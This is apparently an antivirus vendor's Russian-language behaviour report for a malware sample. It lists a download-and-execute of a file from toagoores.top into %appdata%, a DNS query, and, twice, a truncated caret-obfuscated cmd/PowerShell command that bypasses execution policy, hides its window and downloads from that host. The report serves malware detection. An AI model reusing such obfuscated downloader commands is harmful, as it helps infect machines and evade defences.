Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://toagoores.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Pow^ers^H^E^ll.EX^e ^-^EX^ecuTio^nPolICy ^By^P^as^s^ -^N^oPR^oFI^Le -^wiN^dowsT^yLE^ ^Hi^d^den ^(NeW-ob^j^eC^t^ ^SYs^Tem.^neT.W^eb^CL^IEnT).D^o^wNLoadfIl^E^(^'http://toagoores.t...
Сетевая активность
UDP
- DNS ASK to###ores.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Pow^ers^H^E^ll.EX^e ^-^EX^ecuTio^nPolICy ^By^P^as^s^ -^N^oPR^oFI^Le -^wiN^dowsT^yLE^ ^Hi^d^den ^(NeW-ob^j^eC^t^ ^SYs^Tem.^neT.W^eb^CL^IEnT).D^o^wNLoadfIl^E^(^'http://toagoores.t...' (со скрытым окном)
